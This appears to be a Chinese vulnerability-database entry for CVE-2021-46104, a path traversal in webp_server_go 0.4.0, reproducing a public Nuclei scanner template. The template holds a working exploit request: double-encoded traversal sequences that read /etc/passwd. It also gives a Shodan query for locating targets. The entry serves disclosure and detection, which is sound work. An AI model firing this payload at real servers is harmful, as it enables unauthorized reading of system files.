CVE-2021-46104: webp_server_go 0.4.0 - Path Traversal

日期: 2025-08-01 | 影响软件: webp_server_go | POC: 已公开

漏洞描述

webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.

PoC代码[已公开]

id: CVE-2021-46104

info:
  name: webp_server_go 0.4.0 - Path Traversal
  author: pikpikcu
  severity: high
  description: |
    webp_server_go 0.4.0 contains a path traversal caused by insufficient sanitization in file handling, letting attackers read arbitrary files on the server, exploit requires attacker to send crafted requests.
  reference:
    - https://github.com/webp-sh/webp_server_go/issues/92
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46104
    cwe-id: CWE-22
    epss-score: 0.14775
    epss-percentile: 0.94252
    cpe: cpe:2.3:a:webp:webp_server_go:0.4.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webp
    product: webp_server_go
    shodan-query: http.html:"Webp"
  tags: cve,cve2021,lfi,webp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fd7c8889ca8436e54e92ce5a2bde01188cb228f8d5f51d52a96c17d36f071d3b022022158ef993db142997b04342ecd630f72c637d143797751c2596209dd44eeb22:922c64590222798bb761d5b6d8e72950

相关漏洞推荐